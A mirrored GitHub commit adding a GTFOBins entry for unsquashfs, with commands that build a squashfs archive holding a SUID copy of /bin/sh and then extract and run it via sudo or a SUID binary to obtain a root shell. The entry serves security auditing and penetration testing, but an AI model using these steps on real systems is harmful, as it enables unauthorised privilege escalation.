1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Add unsquashfs

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
godylockz 2023-09-02 02:29:00 -04:00 committed by GitHub
parent d48892a5cc
commit 07dca76e95
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

21
_gtfobins/unsquashfs.md Normal file
View File

@ -0,0 +1,21 @@
---
description: |
`unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root:
```
cp /bin/sh .
chmod +s sh
mksquashfs sh shell
```
Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
functions:
sudo:
- code: |
sudo unsquashfs shell
./squashfs-root/sh -p
suid:
- code: |
./unsquashfs shell
./squashfs-root/sh -p
---